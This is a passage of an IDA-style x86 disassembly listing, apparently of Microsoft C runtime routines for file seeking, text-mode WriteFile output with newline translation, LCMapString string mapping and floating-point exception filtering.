XREF: sub_42E6A0+84j mov edx, [ebp+var_C] mov eax, [ebp+var_C] mov ecx, [edx] sub ecx, [eax+8] mov [ebp+var_18], ecx mov edx, [ebp+var_C] mov eax, [edx+0Ch] and eax, 3 test eax, eax jz short loc_42E7AC mov ecx, [ebp+var_8] sar ecx, 5 mov edx, [ebp+var_8] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4F36C0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 80h test ecx, ecx jz short loc_42E7AA mov edx, [ebp+var_C] mov eax, [edx+8] mov [ebp+var_4], eax jmp short loc_42E78A ; --------------------------------------------------------------------------- loc_42E781: ; CODE XREF: sub_42E6A0:loc_42E7A8j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42E78A: ; CODE XREF: sub_42E6A0+DFj mov edx, [ebp+var_C] mov eax, [ebp+var_4] cmp eax, [edx] jnb short loc_42E7AA mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Ah jnz short loc_42E7A8 mov eax, [ebp+var_18] add eax, 1 mov [ebp+var_18], eax loc_42E7A8: ; CODE XREF: sub_42E6A0+FDj jmp short loc_42E781 ; --------------------------------------------------------------------------- loc_42E7AA: ; CODE XREF: sub_42E6A0+D4j ; sub_42E6A0+F2j jmp short loc_42E7CF ; --------------------------------------------------------------------------- loc_42E7AC: ; CODE XREF: sub_42E6A0+AFj mov ecx, [ebp+var_C] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jnz short loc_42E7CF call sub_429A90 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_42E933 ; --------------------------------------------------------------------------- loc_42E7CF: ; CODE XREF: sub_42E6A0:loc_42E7AAj ; sub_42E6A0+11Aj cmp [ebp+var_1C], 0 jnz short loc_42E7DD mov eax, [ebp+var_18] jmp loc_42E933 ; --------------------------------------------------------------------------- loc_42E7DD: ; CODE XREF: sub_42E6A0+133j mov eax, [ebp+var_C] mov ecx, [eax+0Ch] and ecx, 1 test ecx, ecx jz loc_42E92D mov edx, [ebp+var_C] cmp dword ptr [edx+4], 0 jnz short loc_42E803 mov [ebp+var_18], 0 jmp loc_42E92D ; --------------------------------------------------------------------------- loc_42E803: ; CODE XREF: sub_42E6A0+155j mov eax, [ebp+var_C] mov ecx, [ebp+var_C] mov edx, [eax] sub edx, [ecx+8] mov eax, [ebp+var_C] mov ecx, [eax+4] add ecx, edx mov [ebp+var_10], ecx mov edx, [ebp+var_8] sar edx, 5 mov eax, [ebp+var_8] and eax, 1Fh imul eax, 24h mov ecx, ds:dword_4F36C0[edx*4] movsx edx, byte ptr [ecx+eax+4] and edx, 80h test edx, edx jz loc_42E924 push 2 push 0 mov eax, [ebp+var_8] push eax call sub_42E4E0 add esp, 0Ch cmp eax, [ebp+var_1C] jnz short loc_42E8B0 mov ecx, [ebp+var_C] mov edx, [ecx+8] add edx, [ebp+var_10] mov [ebp+var_14], edx mov eax, [ebp+var_C] mov ecx, [eax+8] mov [ebp+var_4], ecx jmp short loc_42E877 ; --------------------------------------------------------------------------- loc_42E86E: ; CODE XREF: sub_42E6A0:loc_42E893j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42E877: ; CODE XREF: sub_42E6A0+1CCj mov eax, [ebp+var_4] cmp eax, [ebp+var_14] jnb short loc_42E895 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Ah jnz short loc_42E893 mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax loc_42E893: ; CODE XREF: sub_42E6A0+1E8j jmp short loc_42E86E ; --------------------------------------------------------------------------- loc_42E895: ; CODE XREF: sub_42E6A0+1DDj mov ecx, [ebp+var_C] mov edx, [ecx+0Ch] and edx, 2000h test edx, edx jz short loc_42E8AE mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax loc_42E8AE: ; CODE XREF: sub_42E6A0+203j jmp short loc_42E924 ; --------------------------------------------------------------------------- loc_42E8B0: ; CODE XREF: sub_42E6A0+1B5j push 0 mov ecx, [ebp+var_1C] push ecx mov edx, [ebp+var_8] push edx call sub_42E4E0 add esp, 0Ch cmp [ebp+var_10], 200h ja short loc_42E8F0 mov eax, [ebp+var_C] mov ecx, [eax+0Ch] and ecx, 8 test ecx, ecx jz short loc_42E8F0 mov edx, [ebp+var_C] mov eax, [edx+0Ch] and eax, 400h test eax, eax jnz short loc_42E8F0 mov [ebp+var_10], 200h jmp short loc_42E8F9 ; --------------------------------------------------------------------------- loc_42E8F0: ; CODE XREF: sub_42E6A0+229j ; sub_42E6A0+236j ... mov ecx, [ebp+var_C] mov edx, [ecx+18h] mov [ebp+var_10], edx loc_42E8F9: ; CODE XREF: sub_42E6A0+24Ej mov eax, [ebp+var_8] sar eax, 5 mov ecx, [ebp+var_8] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4F36C0[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 4 test eax, eax jz short loc_42E924 mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_42E924: ; CODE XREF: sub_42E6A0+19Cj ; sub_42E6A0:loc_42E8AEj ... mov edx, [ebp+var_1C] sub edx, [ebp+var_10] mov [ebp+var_1C], edx loc_42E92D: ; CODE XREF: sub_42E6A0+148j ; sub_42E6A0+15Ej mov eax, [ebp+var_1C] add eax, [ebp+var_18] loc_42E933: ; CODE XREF: sub_42E6A0+71j ; sub_42E6A0+91j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42E6A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E940 proc near ; CODE XREF: sub_421200+147p ; sub_422F20+57p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, ds:dword_4F37C0 jnb short loc_42E971 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4F36C0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_42E98C loc_42E971: ; CODE XREF: sub_42E940+Dj call sub_429A90 mov dword ptr [eax], 9 call sub_429AA0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_42E9BE ; --------------------------------------------------------------------------- loc_42E98C: ; CODE XREF: sub_42E940+2Fj mov edx, [ebp+arg_0] push edx call sub_431070 add esp, 4 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42E9D0 add esp, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_431100 add esp, 4 mov eax, [ebp+var_4] loc_42E9BE: ; CODE XREF: sub_42E940+4Aj mov esp, ebp pop ebp retn sub_42E940 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E9D0 proc near ; CODE XREF: sub_42E940+64p ; sub_435EC0+145p var_420 = dword ptr -420h var_41C = byte ptr -41Ch var_418 = dword ptr -418h var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 420h mov [ebp+var_10], 0 mov eax, [ebp+var_10] mov [ebp+var_420], eax cmp [ebp+arg_8], 0 jnz short loc_42E9F6 xor eax, eax jmp loc_42EC3F ; --------------------------------------------------------------------------- loc_42E9F6: ; CODE XREF: sub_42E9D0+1Dj mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4F36C0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 20h test ecx, ecx jz short loc_42EA28 push 2 push 0 mov edx, [ebp+arg_0] push edx call sub_42E570 add esp, 0Ch loc_42EA28: ; CODE XREF: sub_42E9D0+46j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4F36C0[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 80h test eax, eax jz loc_42EB5C mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx mov [ebp+var_C], 0 loc_42EA5D: ; CODE XREF: sub_42E9D0:loc_42EB55j mov edx, [ebp+var_4] sub edx, [ebp+arg_4] cmp edx, [ebp+arg_8] jnb loc_42EB5A lea eax, [ebp+var_414] mov [ebp+var_8], eax loc_42EA75: ; CODE XREF: sub_42E9D0+115j mov ecx, [ebp+var_8] lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jge short loc_42EAE7 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jnb short loc_42EAE7 mov ecx, [ebp+var_4] mov dl, [ecx] mov [ebp+var_41C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax movsx ecx, [ebp+var_41C] cmp ecx, 0Ah jnz short loc_42EAD1 mov edx, [ebp+var_420] add edx, 1 mov [ebp+var_420], edx mov eax, [ebp+var_8] mov byte ptr [eax], 0Dh mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_42EAD1: ; CODE XREF: sub_42E9D0+E1j mov edx, [ebp+var_8] mov al, [ebp+var_41C] mov [edx], al mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx jmp short loc_42EA75 ; --------------------------------------------------------------------------- loc_42EAE7: ; CODE XREF: sub_42E9D0+B6j ; sub_42E9D0+C1j push 0 lea edx, [ebp+var_418] push edx mov eax, [ebp+var_8] lea ecx, [ebp+var_414] sub eax, ecx push eax lea edx, [ebp+var_414] push edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4F36C0[eax*4] mov eax, [edx+ecx] push eax call ds:dword_4F53B4 ; WriteFile test eax, eax jz short loc_42EB4A mov ecx, [ebp+var_10] add ecx, [ebp+var_418] mov [ebp+var_10], ecx mov edx, [ebp+var_8] lea eax, [ebp+var_414] sub edx, eax cmp [ebp+var_418], edx jge short loc_42EB48 jmp short loc_42EB5A ; --------------------------------------------------------------------------- loc_42EB48: ; CODE XREF: sub_42E9D0+174j jmp short loc_42EB55 ; --------------------------------------------------------------------------- loc_42EB4A: ; CODE XREF: sub_42E9D0+155j call ds:dword_4F5360 ; RtlGetLastWin32Error mov [ebp+var_C], eax jmp short loc_42EB5A ; --------------------------------------------------------------------------- loc_42EB55: ; CODE XREF: sub_42E9D0:loc_42EB48j jmp loc_42EA5D ; --------------------------------------------------------------------------- loc_42EB5A: ; CODE XREF: sub_42E9D0+96j ; sub_42E9D0+176j ... jmp short loc_42EBAC ; --------------------------------------------------------------------------- loc_42EB5C: ; CODE XREF: sub_42E9D0+7Aj push 0 lea ecx, [ebp+var_418] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4F36C0[ecx*4] mov ecx, [eax+edx] push ecx call ds:dword_4F53B4 ; WriteFile test eax, eax jz short loc_42EBA3 mov [ebp+var_C], 0 mov edx, [ebp+var_418] mov [ebp+var_10], edx jmp short loc_42EBAC ; --------------------------------------------------------------------------- loc_42EBA3: ; CODE XREF: sub_42E9D0+1BFj call ds:dword_4F5360 ; RtlGetLastWin32Error mov [ebp+var_C], eax loc_42EBAC: ; CODE XREF: sub_42E9D0:loc_42EB5Aj ; sub_42E9D0+1D1j cmp [ebp+var_10], 0 jnz loc_42EC36 cmp [ebp+var_C], 0 jz short loc_42EBEA cmp [ebp+var_C], 5 jnz short loc_42EBD9 call sub_429A90 mov dword ptr [eax], 9 call sub_429AA0 mov ecx, [ebp+var_C] mov [eax], ecx jmp short loc_42EBE5 ; --------------------------------------------------------------------------- loc_42EBD9: ; CODE XREF: sub_42E9D0+1F0j mov edx, [ebp+var_C] push edx call sub_4299F0 add esp, 4 loc_42EBE5: ; CODE XREF: sub_42E9D0+207j or eax, 0FFFFFFFFh jmp short loc_42EC3F ; --------------------------------------------------------------------------- loc_42EBEA: ; CODE XREF: sub_42E9D0+1EAj mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4F36C0[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 40h test eax, eax jz short loc_42EC1B mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] cmp edx, 1Ah jnz short loc_42EC1B xor eax, eax jmp short loc_42EC3F ; --------------------------------------------------------------------------- loc_42EC1B: ; CODE XREF: sub_42E9D0+23Aj ; sub_42E9D0+245j call sub_429A90 mov dword ptr [eax], 1Ch call sub_429AA0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_42EC3F ; --------------------------------------------------------------------------- loc_42EC36: ; CODE XREF: sub_42E9D0+1E0j mov eax, [ebp+var_10] sub eax, [ebp+var_420] loc_42EC3F: ; CODE XREF: sub_42E9D0+21j ; sub_42E9D0+218j ... mov esp, ebp pop ebp retn sub_42E9D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EC50 proc near ; CODE XREF: sub_421620+11Ep ; sub_421620+16Fp ... var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43D418 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFDCh push ebx push esi push edi mov [ebp+var_18], esp cmp ds:dword_4F341C, 0 jnz short loc_42ECD6 push 0 push 0 push 1 push offset dword_43D410 push 100h push 0 call ds:dword_4F5330 ; LCMapStringW test eax, eax jz short loc_42ECA7 mov ds:dword_4F341C, 1 jmp short loc_42ECD6 ; --------------------------------------------------------------------------- loc_42ECA7: ; CODE XREF: sub_42EC50+49j push 0 push 0 push 1 push offset dword_43D40C push 100h push 0 call ds:dword_4F5334 ; LCMapStringA test eax, eax jz short loc_42ECCF mov ds:dword_4F341C, 2 jmp short loc_42ECD6 ; --------------------------------------------------------------------------- loc_42ECCF: ; CODE XREF: sub_42EC50+71j xor eax, eax jmp loc_42EF41 ; --------------------------------------------------------------------------- loc_42ECD6: ; CODE XREF: sub_42EC50+2Dj ; sub_42EC50+55j ... cmp [ebp+arg_C], 0 jle short loc_42ECEF mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx call sub_42EF60 add esp, 8 mov [ebp+arg_C], eax loc_42ECEF: ; CODE XREF: sub_42EC50+8Aj cmp ds:dword_4F341C, 2 jnz short loc_42ED1B mov edx, [ebp+arg_14] push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call ds:dword_4F5334 ; LCMapStringA jmp loc_42EF41 ; --------------------------------------------------------------------------- loc_42ED1B: ; CODE XREF: sub_42EC50+A6j cmp ds:dword_4F341C, 1 jnz loc_42EF3F cmp [ebp+arg_18], 0 jnz short loc_42ED37 mov edx, ds:dword_4F3408 mov [ebp+arg_18], edx loc_42ED37: ; CODE XREF: sub_42EC50+DCj push 0 push 0 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_1C] neg edx sbb edx, edx and edx, 8 add edx, 1 push edx mov eax, [ebp+arg_18] push eax call ds:dword_4F5454 ; MultiByteToWideChar mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_42ED6B xor eax, eax jmp loc_42EF41 ; --------------------------------------------------------------------------- loc_42ED6B: ; CODE XREF: sub_42EC50+112j mov [ebp+var_4], 0 mov eax, [ebp+var_1C] shl eax, 1 add eax, 3 and al, 0FCh call sub_41EF80 mov [ebp+var_30], esp mov [ebp+var_18], esp mov ecx, [ebp+var_30] mov [ebp+var_24], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42EDAD ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_42EDAD: ; CODE XREF: sub_42EC50+144j cmp [ebp+var_24], 0 jnz short loc_42EDBA xor eax, eax jmp loc_42EF41 ; --------------------------------------------------------------------------- loc_42EDBA: ; CODE XREF: sub_42EC50+161j mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 1 mov eax, [ebp+arg_18] push eax call ds:dword_4F5454 ; MultiByteToWideChar test eax, eax jnz short loc_42EDE1 xor eax, eax jmp loc_42EF41 ; --------------------------------------------------------------------------- loc_42EDE1: ; CODE XREF: sub_42EC50+188j push 0 push 0 mov ecx, [ebp+var_1C] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call ds:dword_4F5330 ; LCMapStringW mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_42EE0B xor eax, eax jmp loc_42EF41 ; --------------------------------------------------------------------------- loc_42EE0B: ; CODE XREF: sub_42EC50+1B2j mov edx, [ebp+arg_4] and edx, 400h test edx, edx jz short loc_42EE5B cmp [ebp+arg_14], 0 jz short loc_42EE56 mov eax, [ebp+var_28] cmp eax, [ebp+arg_14] jle short loc_42EE2D xor eax, eax jmp loc_42EF41 ; --------------------------------------------------------------------------- loc_42EE2D: ; CODE XREF: sub_42EC50+1D4j mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+var_1C] push eax mov ecx, [ebp+var_24] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_4F5330 ; LCMapStringW test eax, eax jnz short loc_42EE56 xor eax, eax jmp loc_42EF41 ; --------------------------------------------------------------------------- loc_42EE56: ; CODE XREF: sub_42EC50+1CCj ; sub_42EC50+1FDj jmp loc_42EF3A ; --------------------------------------------------------------------------- loc_42EE5B: ; CODE XREF: sub_42EC50+1C6j mov ecx, [ebp+var_28] mov [ebp+var_2C], ecx mov [ebp+var_4], 1 mov eax, [ebp+var_2C] shl eax, 1 add eax, 3 and al, 0FCh call sub_41EF80 mov [ebp+var_34], esp mov [ebp+var_18], esp mov edx, [ebp+var_34] mov [ebp+var_20], edx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42EEA3 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_20], 0 mov [ebp+var_4], 0FFFFFFFFh loc_42EEA3: ; CODE XREF: sub_42EC50+23Aj cmp [ebp+var_20], 0 jnz short loc_42EEB0 xor eax, eax jmp loc_42EF41 ; --------------------------------------------------------------------------- loc_42EEB0: ; CODE XREF: sub_42EC50+257j mov eax, [ebp+var_2C] push eax mov ecx, [ebp+var_20] push ecx mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call ds:dword_4F5330 ; LCMapStringW test eax, eax jnz short loc_42EED6 xor eax, eax jmp short loc_42EF41 ; --------------------------------------------------------------------------- loc_42EED6: ; CODE XREF: sub_42EC50+280j cmp [ebp+arg_14], 0 jnz short loc_42EF0A push 0 push 0 push 0 push 0 mov eax, [ebp+var_2C] push eax mov ecx, [ebp+var_20] push ecx push 220h mov edx, [ebp+arg_18] push edx call ds:dword_4F5450 ; WideCharToMultiByte mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_42EF08 xor eax, eax jmp short loc_42EF41 ; --------------------------------------------------------------------------- loc_42EF08: ; CODE XREF: sub_42EC50+2B2j jmp short loc_42EF3A ; --------------------------------------------------------------------------- loc_42EF0A: ; CODE XREF: sub_42EC50+28Aj push 0 push 0 mov eax, [ebp+arg_14] push eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+var_20] push eax push 220h mov ecx, [ebp+arg_18] push ecx call ds:dword_4F5450 ; WideCharToMultiByte mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_42EF3A xor eax, eax jmp short loc_42EF41 ; --------------------------------------------------------------------------- loc_42EF3A: ; CODE XREF: sub_42EC50:loc_42EE56j ; sub_42EC50:loc_42EF08j ... mov eax, [ebp+var_28] jmp short loc_42EF41 ; --------------------------------------------------------------------------- loc_42EF3F: ; CODE XREF: sub_42EC50+D2j xor eax, eax loc_42EF41: ; CODE XREF: sub_42EC50+81j ; sub_42EC50+C6j ... lea esp, [ebp-40h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42EC50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EF60 proc near ; CODE XREF: sub_42EC50+94p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx loc_42EF72: ; CODE XREF: sub_42EF60+35j mov edx, [ebp+var_8] mov eax, [ebp+var_8] sub eax, 1 mov [ebp+var_8], eax test edx, edx jz short loc_42EF97 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_42EF97 mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_42EF72 ; --------------------------------------------------------------------------- loc_42EF97: ; CODE XREF: sub_42EF60+20j ; sub_42EF60+2Aj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_42EFA9 mov eax, [ebp+var_4] sub eax, [ebp+arg_0] jmp short loc_42EFAC ; --------------------------------------------------------------------------- loc_42EFA9: ; CODE XREF: sub_42EF60+3Fj mov eax, [ebp+arg_4] loc_42EFAC: ; CODE XREF: sub_42EF60+47j mov esp, ebp pop ebp retn sub_42EF60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EFB0 proc near ; CODE XREF: _0:00422244p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h call sub_428EE0 mov [ebp+var_8], eax mov eax, [ebp+var_8] mov ecx, [eax+50h] push ecx mov edx, [ebp+arg_0] push edx call sub_42F170 add esp, 8 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_42EFE3 mov eax, [ebp+var_10] cmp dword ptr [eax+8], 0 jnz short loc_42EFF2 loc_42EFE3: ; CODE XREF: sub_42EFB0+28j mov ecx, [ebp+arg_4] push ecx call ds:dword_4F532C ; UnhandledExceptionFilter jmp loc_42F16A ; --------------------------------------------------------------------------- loc_42EFF2: ; CODE XREF: sub_42EFB0+31j mov edx, [ebp+var_10] cmp dword ptr [edx+8], 5 jnz short loc_42F00F mov eax, [ebp+var_10] mov dword ptr [eax+8], 0 mov eax, 1 jmp loc_42F16A ; --------------------------------------------------------------------------- loc_42F00F: ; CODE XREF: sub_42EFB0+49j mov ecx, [ebp+var_10] cmp dword ptr [ecx+8], 1 jnz short loc_42F020 or eax, 0FFFFFFFFh jmp loc_42F16A ; --------------------------------------------------------------------------- loc_42F020: ; CODE XREF: sub_42EFB0+66j mov edx, [ebp+var_10] mov eax, [edx+8] mov [ebp+var_4], eax mov ecx, [ebp+var_8] mov edx, [ecx+54h] mov [ebp+var_18], edx mov eax, [ebp+var_8] mov ecx, [ebp+arg_4] mov [eax+54h], ecx mov edx, [ebp+var_10] cmp dword ptr [edx+4], 8 jnz loc_42F147 mov eax, ds:dword_454380 mov [ebp+var_14], eax jmp short loc_42F05B ; --------------------------------------------------------------------------- loc_42F052: ; CODE XREF: sub_42EFB0+D0j mov ecx, [ebp+var_14] add ecx, 1 mov [ebp+var_14], ecx loc_42F05B: ; CODE XREF: sub_42EFB0+A0j mov edx, ds:dword_454380 add edx, ds:dword_454384 cmp [ebp+var_14], edx jge short loc_42F082 mov eax, [ebp+var_14] imul eax, 0Ch mov ecx, [ebp+var_8] mov edx, [ecx+50h] mov dword ptr [edx+eax+8], 0 jmp short loc_42F052 ; --------------------------------------------------------------------------- loc_42F082: ; CODE XREF: sub_42EFB0+BAj mov eax, [ebp+var_8] mov ecx, [eax+58h] mov [ebp+var_C], ecx mov edx, [ebp+var_10] cmp dword ptr [edx], 0C000008Eh jnz short loc_42F0A5 mov eax, [ebp+var_8] mov dword ptr [eax+58h], 83h jmp loc_42F12D ; --------------------------------------------------------------------------- loc_42F0A5: ; CODE XREF: sub_42EFB0+E4j mov ecx, [ebp+var_10] cmp dword ptr [ecx], 0C0000090h jnz short loc_42F0BC mov edx, [ebp+var_8] mov dword ptr [edx+58h], 81h jmp short loc_42F12D ; --------------------------------------------------------------------------- loc_42F0BC: ; CODE XREF: sub_42EFB0+FEj mov eax, [ebp+var_10] cmp dword ptr [eax], 0C0000091h jnz short loc_42F0D3 mov ecx, [ebp+var_8] mov dword ptr [ecx+58h], 84h jmp short loc_42F12D ; --------------------------------------------------------------------------- loc_42F0D3: ; CODE XREF: sub_42EFB0+115j mov edx, [ebp+var_10] cmp dword ptr [edx], 0C0000093h jnz short loc_42F0EA mov eax, [ebp+var_8] mov dword ptr [eax+58h], 85h jmp short loc_42F12D ; --------------------------------------------------------------------------- loc_42F0EA: ; CODE XREF: sub_42EFB0+12Cj mov ecx, [ebp+var_10] cmp dword ptr [ecx], 0C000008Dh jnz short loc_42F101 mov edx, [ebp+var_8] mov dword ptr [edx+58h], 82h jmp short loc_42F12D ; --------------------------------------------------------------------------- loc_42F101: ; CODE XREF: sub_42EFB0+143j mov eax, [ebp+var_10] cmp dword ptr [eax], 0C000008Fh jnz short loc_42F118 mov ecx, [ebp+var_8] mov dword ptr [ecx+58h], 86h jmp short loc_42F12D ; --------------------------------------------------------------------------- loc_42F118: ; CODE XREF: sub_42EFB0+15Aj mov edx, [ebp+var_10] cmp dword ptr [edx], 0C0000092h jnz short loc_42F12D mov eax, [ebp+var_8] mov dword ptr [eax+58h], 8Ah loc_42F12D: ; CODE XREF: sub_42EFB0+F0j ; sub_42EFB0+10Aj ... mov ecx, [ebp+var_8] mov edx, [ecx+58h] push edx push 8 call [ebp+var_4] add esp, 8 mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov [eax+58h], ecx jmp short loc_42F15E ; --------------------------------------------------------------------------- loc_42F147: ; CODE XREF: sub_42EFB0+92j mov edx, [ebp+var_10] mov dword ptr [edx+8], 0 mov eax, [ebp+var_10] mov ecx, [eax+4] push ecx call [ebp+var_4] add esp, 4 loc_42F15E: ; CODE XREF: sub_42EFB0+195j mov edx, [ebp+var_8] mov eax, [ebp+var_18] mov [edx+54h], eax or eax, 0FFFFFFFFh loc_42F16A: ; CODE XREF: sub_42EFB0+3Dj ; sub_42EFB0+5Aj ... mov esp, ebp pop ebp retn sub_42EFB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F170 proc near ; CODE XREF: sub_42EFB0+19p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_42F17A: ; CODE XREF: sub_42F170+30j mov ecx, [ebp+var_4] mov edx, [ecx] cmp edx, [ebp+arg_0] jz short loc_42F1A2 mov eax, [ebp+var_4] add eax, 0Ch mov [ebp+var_4], eax mov ecx, ds:dword_45438C imul ecx, 0Ch mov edx, [ebp+arg_4] add edx, ecx cmp [ebp+var_4], edx jnb short loc_42F1A2 jmp short loc_42F17A ; --------------------------------------------------------------------------- loc_42F1A2: ; CODE XREF: sub_42F170+12j ; sub_42F170+2Ej mov eax, ds:dword_45438C imul eax, 0Ch mov ecx, [ebp+arg_4] add ecx, eax cmp [ebp+var_4], ecx jnb short loc_42F1BE mov edx, [ebp+var_4] mov eax, [edx] cmp eax, [ebp+arg_0] jz short loc_42F1C2 loc_42F1BE: ; CODE XREF: sub_42F170+42j xor eax, eax jmp short loc_42F1C5 ; --------------------------------------------------------------------------- loc_42F1C2: ; CODE XREF: sub_42F170+4Cj mov eax, [ebp+var_4] loc_42F1C5: ; CODE XREF: sub_42F170+50j mov esp, ebp pop ebp retn sub_42F170 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F1D0 proc near ; CODE XREF: _0:004221E8p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp ds:dword_4F4A2C, 0 jnz short loc_42F1E2 call sub_429890 loc_42F1E2: ; CODE XREF: 